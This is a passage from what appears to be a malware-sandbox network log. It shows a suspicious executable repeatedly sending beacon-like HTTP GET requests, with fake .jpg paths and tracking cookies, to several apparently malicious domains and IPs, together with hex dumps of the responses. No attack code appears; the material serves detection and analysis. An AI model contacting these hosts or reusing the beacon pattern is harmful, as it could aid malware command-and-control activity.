                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          44192.168.2.74975737.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:43.976891041 CEST203OUTGET /images/xs2.jpg?9010004=906362904 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:44.744829893 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:44 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:44.819582939 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:45.047343969 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:44 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:44 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          45192.168.2.74975954.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:45.236100912 CEST308OUTGET /images/xs.jpg?9bcb84a=326725780 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159241|1720159208|4|8|0
                                                          Jul 5, 2024 08:00:45.969134092 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:45 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159245|1720159208|4|9|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          46192.168.2.74976044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:45.977387905 CEST300OUTGET /xs.jpg?a33c7a9=1540490481 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159242|1720159209|4|8|0
                                                          Jul 5, 2024 08:00:46.495413065 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:46 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159246|1720159209|4|9|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          47192.168.2.74976144.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:46.513761044 CEST302OUTGET /images/xs.jpg?a8b8247=707660060 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159243|1720159210|4|8|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:50.061292887 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:49 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159249|1720159210|5|9|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          48192.168.2.74976478.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:50.075881958 CEST191OUTGET /xs.jpg?c8cad9e=1052730390 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:50.738629103 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:50 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          49192.168.2.74976537.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:50.934803963 CEST204OUTGET /images/xs2.jpg?d17ad7a=1098277730 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:51.645929098 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:51 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          50192.168.2.74976637.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:52.242486954 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:52.958107948 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:52 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:52 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          51192.168.2.74976754.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:53.141196966 CEST310OUTGET /images/xs.jpg?e8ebb07=-2096852161 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159245|1720159208|4|9|0
                                                          Jul 5, 2024 08:00:53.858462095 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:53 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159253|1720159208|6|10|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          52192.168.2.74976844.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:53.871515989 CEST301OUTGET /xs.jpg?ef54526=-1785416836 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159246|1720159209|4|9|0
                                                          Jul 5, 2024 08:00:54.368074894 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:54 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159254|1720159209|6|10|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          53192.168.2.74976944.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:54.393388033 CEST302OUTGET /images/xs.jpg?f396007=510836750 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159249|1720159210|5|9|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:54.890003920 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:54 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159254|1720159210|5|10|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          54192.168.2.74977078.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:54.943437099 CEST191OUTGET /xs.jpg?fb097cd=1842620059 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:55.591690063 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:55 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          55192.168.2.74977137.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:55.629338026 CEST205OUTGET /images/xs2.jpg?1017493b=1349807655 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:56.386056900 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:56 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:56.389230013 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:56.614203930 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
